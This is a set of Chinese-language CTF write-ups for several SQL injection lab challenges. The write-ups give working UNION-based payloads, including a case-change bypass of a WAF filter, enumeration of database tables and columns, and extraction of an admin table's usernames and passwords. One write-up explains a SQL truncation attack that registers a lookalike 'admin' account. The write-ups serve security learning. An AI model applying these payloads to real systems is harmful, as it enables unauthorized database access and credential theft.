[NewStarCTF 2023 公开赛道]ez_sql

  1. 判断闭合方式为 (单引号)
  2. 爆字段数,以成功联合注入

?id=1' order by 1 --+

1-1

​ 发现有WAF,这里使用大写绕过

?id=1' Order by 1 --+

1-2

​ 一直尝试直到?id=1' Order by 6 --+没有回显,说明字段数为5

1-3

  1. 联合注入爆数据库名

1-4

​ 可见,数据库名就是ctf

​ 到这里答案就是到手的鸭子了

  1. 顺藤摸瓜,找到表名

?id=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='ctf' --+

1-5

​ 显然flag在here_is_flag这个表中,但我们先要找到在哪个字段下(当然一般可以直接猜出来字段名为flag)

  1. 再找到字段名

?id=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='here_is_flag' --+

1-6

  1. 查询字段值

1-7

​ 大功告成


BUU SQL COURSE 1

点进去发现有两个模块,一个新闻页面,一个登录页面。

  1. 找到注入位置

点开热点中的热点一,发现这里有一个php请求,猜测是否这里有sql注入(为什么呢)

2-1

  1. 开始注入(公式化)

爆字段数

2-2

爆库名

?id=-1 union select 1,database() --+

2-3

爆表名

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news' --+

2-4

爆字段名

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' --+

2-5

爆字段值

?id=-1 union select 1,group_concat(username,',',password) from news.admin --+

2-6

得到账号密码后就去登录吧

2-7

2-8

完结撒花★,°:.☆( ̄▽ ̄)/$:.°★


CTF-BugKu-sqli-0x1

https://blog.csdn.net/weixin_73625393/article/details/137773172

http://danielw.top/index.php/daniel/340/

没有变化,使用的是POST传参

image-20241115233313019

打开源代码看看

image-20241115233348097

发现有提示。查看这个php文件

image-20241115233653921

待水平进步再来做这个qaq

CTF-BugKu-login1

https://blog.csdn.net/lga0325/article/details/143353230

在登录密码是,账号默认为admin,输入各种万能密码都没用

查看注册页面

image-20241115235406854

发现admin已经存在了

这个时候考虑SQL约束攻击

在注册用户时,因为 insert 插入数据受到数据库定义的长度限制,会自动将超出长度的数据截断。因此,如果 uname 的长度限制为 char(7),那么注册账号'admin a'时,由于长度超出,则后面的 a 会被截断,此时,数据库存储数据会把空格删除,在数据库内就变成了admin (?怎么会有七个字符?)

此时登录时使用 admin 和自己注册的密码登录,数据库返回注册时的账号信息,但是如果业务侧仅根据返回的用户名信息判断权限,则会导致水平越权的漏洞

image-20241116000616003

注册成功,注意用户名这里有一个空格

image-20241116000703445

直接使用admin身份登录得到flag

[SWPUCTF 2024 秋季新生赛]ez_sql

判断为字符型

image-20250307181637345

他将输入内容转化为十六进制ASCII码,所以直接通过hackerbar修改url的话需要进一步转化一下。所以为了方便直接再textbox里注入

image-20250307181606149

这里发现有报错回显,所以可以使用联合注入。但是这时发现有典型的闭合方式错误。

https://blog.csdn.net/cyynid/article/details/128630181

最后得出是 # 闭合

1’ order by 5# –+

1’ union select 1,2,3,4;# –+

image-20250307182041961